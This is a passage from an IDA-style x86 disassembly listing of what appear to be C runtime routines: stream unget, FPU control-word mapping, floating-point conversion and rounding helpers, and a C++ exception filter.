; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBA24
		nop
		call	near ptr 2800000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D358
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D370
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBB50
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DBB78, eax
		add	esp, 18h
		movsx	eax, byte_4DBB52
		mov	dword_4DBB70, eax
		pop	edi
		movsx	eax, word_4DBB50
		mov	dword_4DBB74, eax
		mov	dword_4DBB7C, offset dword_4DBB54
		mov	eax, offset dword_4DBB70
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043CF98o
					; ___:0043D7F8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DBB80
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DBB80
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1DC686E8h], dl
		add	ah, byte ptr dword_4DBB80[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DBB8035h, 0C675E800h, 0C390021Dh

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600971h
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


